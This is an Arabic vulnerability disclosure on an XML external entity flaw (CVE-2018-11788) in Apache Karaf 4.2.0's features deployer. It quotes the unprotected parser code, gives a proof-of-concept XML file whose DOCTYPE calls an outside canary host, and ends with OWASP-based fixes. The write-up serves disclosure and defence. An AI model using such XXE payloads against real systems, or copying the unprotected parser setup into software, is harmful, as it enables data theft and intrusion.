
ثغرة XXE في Apache Karaf (CVE-2018-11788)
Apache Karaf هو حاوية تطبيقات حديثة ومتعددة الأشكال. إنها حاوية خفيفة وقوية وجاهزة للمؤسسات تعمل بواسطة OSGi. Apache Karaf هو "مشروع منتج"، يوفر بيئة تشغيل كاملة وجاهزة للتشغيل. بيئة التشغيل "متعددة الأوجه"، مما يعني أنه يمكنك نشر أنواع مختلفة من التطبيقات: تطبيقات OSGi أو غير OSGi، تطبيقات ويب، تطبيقات قائمة على الخدمات، إلخ.
في بحث حديث حول Apache Karaf، وجدت بعض ثغرات XXE (حقن الكيانات الخارجية XML) في محللي XML الخاص به. السبب هو أن المحللين يقومون بتحليل مستند XML بشكل غير صحيح.
وفقًا للدليل الرسمي، يوفر Apache Karaf أداة نشر للميزات (features deployer) بشكل افتراضي، والتي تتيح للمستخدمين "النشر السريع" لملف XML للميزات عن طريق إسقاط الملف مباشرة في مجلد النشر.
عندما تقوم بإسقاط ملف XML للميزات في مجلد النشر، يقوم أداة نشر الميزات بما يلي:
على سبيل المثال، فإن إسقاط ملف XML التالي في مجلد النشر سيؤدي إلى تثبيت feature1 و feature2 تلقائيًا، بينما لن يتم تثبيت feature3:
<?xml version="1.0" encoding="UTF-8"?>
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="feature1" version="1.0" install="auto">
...
</feature>
<feature name="feature2" version="1.0" install="auto">
...
</feature>
<feature name="feature3" version="1.0">
...
</feature>
</features>
لمعرفة كيفية معالجة أداة النشر لملف XML، قمت بمراجعة الكود المصدري لـ Karaf على GitHub ووجدت الاستدعاءات التالية:
Activator الدالة doStart() لبدء مستمع لأداة النشرdoStart() الدالة FeatureDeploymentListener.init() لتهيئة مستمعbundleChanged - canHandle - getRootElementName لتحليل مستند XML باستخدام XMLInputFactoryولكن عند مزيد من التحقيق في الدالة getRootElementName كما هو أدناه، لا يوجد أي حماية ضد XXE.
private QName getRootElementName(File artifact) throws Exception {
if (xif == null) {
xif = XMLInputFactory.newFactory();
xif.setProperty(XMLInputFactory.IS_NAMESPACE_AWARE, true);
}
try (InputStream is = new FileInputStream(artifact)) {
XMLStreamReader sr = xif.createXMLStreamReader(is);
sr.nextTag();
return sr.getName();
}
}
لذلك، افترضت أنها تشكل خطرًا أمنيًا محتملاً لـ Apache Karaf.
للتحقق من افتراضي، قمت باختبار أحدث إصدار رسمي من Apache Karaf 4.2.0 الذي تم تنزيله من https://karaf.apache.org/download.html كالتالي:
bin لبدء وحدة تحكم أوامر Karaf كما هو موضح أدناه bin$ ./karaf
__ __ ____
/ //_/____ __________ _/ __/
/ ,< / __ `/ ___/ __ `/ /_
/ /| |/ /_/ / / / /_/ / __/
/_/ |_|\__,_/_/ \__,_/_/
Apache Karaf (4.2.0)
Hit '<tab>' for a list of available commands
and '[cmd] --help' for help on a specific command.
Hit '<ctrl-d>' or type 'system:shutdown' or 'logout' to shutdown Karaf.
karaf@root()>
27av6zyg33g8q8xu338uvhnsc.canarytokens.com<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
<feature name="deployer" version="2.0" install="auto">
</feature>
</features>
deployapache-karaf-4.2.0$ cd deploy/
deploy$ tree
.
├── README
└── poc.xml
انتظر قليلاً، ثم ستشاهد طلبات DNS من جهاز الاختبار الخاص بك، مما يعني أن محلل XML يحاول تحميل الكيانات الخارجية المضمنة في DTDs

اتبع دليل OWASP أدناه الذي يوفر معلومات موجزة لمنع هذه الثغرة. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet#Java
على سبيل المثال، إضافة الكود أدناه لتعطيل DTDs والكيانات الخارجية في الدالة getRootElementName.
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false); // This disables DTDs entirely for that factory
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false); // disable external entities
بالإضافة إلى النتيجة المذكورة أعلاه، وجدت أيضًا فئة أخرى XmlUtils في مشروع Apache Karaf لم تُضف أي حماية من ثغرة XXE عند تحليل مستند XML.
package org.apache.karaf.util;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Result;
import javax.xml.transform.Source;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import org.w3c.dom.Document;
import org.xml.sax.ErrorHandler;
import org.xml.sax.SAXException;
import org.xml.sax.XMLReader;
/**
* Utils class to manipulate XML document in a thread safe way.
*/
public class XmlUtils {
private static final ThreadLocal<DocumentBuilderFactory> DOCUMENT_BUILDER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<TransformerFactory> TRANSFORMER_FACTORY = new ThreadLocal<>();
private static final ThreadLocal<SAXParserFactory> SAX_PARSER_FACTORY = new ThreadLocal<>();
public static Document parse(String uri) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(uri);
} finally {
db.reset();
}
}
public static Document parse(InputStream stream) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(stream);
} finally {
db.reset();
}
}
public static Document parse(File f) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static Document parse(File f, ErrorHandler errorHandler) throws TransformerException, IOException, SAXException, ParserConfigurationException {
DocumentBuilder db = documentBuilder();
db.setErrorHandler(errorHandler);
try {
return db.parse(f);
} finally {
db.reset();
}
}
public static void transform(Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer();
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static void transform(Source xsltSource, Source xmlSource, Result outputTarget) throws TransformerException {
Transformer t = transformer(xsltSource);
try {
t.transform(xmlSource, outputTarget);
} finally {
t.reset();
}
}
public static XMLReader xmlReader() throws ParserConfigurationException, SAXException {
SAXParserFactory spf = SAX_PARSER_FACTORY.get();
if (spf == null) {
spf = SAXParserFactory.newInstance();
spf.setNamespaceAware(true);
SAX_PARSER_FACTORY.set(spf);
}
return spf.newSAXParser().getXMLReader();
}
public static DocumentBuilder documentBuilder() throws ParserConfigurationException {
DocumentBuilderFactory dbf = DOCUMENT_BUILDER_FACTORY.get();
if (dbf == null) {
dbf = DocumentBuilderFactory.newInstance();
dbf.setNamespaceAware(true);
DOCUMENT_BUILDER_FACTORY.set(dbf);
}
return dbf.newDocumentBuilder();
}
public static Transformer transformer() throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer();
}
private static Transformer transformer(Source xsltSource) throws TransformerConfigurationException {
TransformerFactory tf = TRANSFORMER_FACTORY.get();
if (tf == null) {
tf = TransformerFactory.newInstance();
TRANSFORMER_FACTORY.set(tf);
}
return tf.newTransformer(xsltSource);
}
}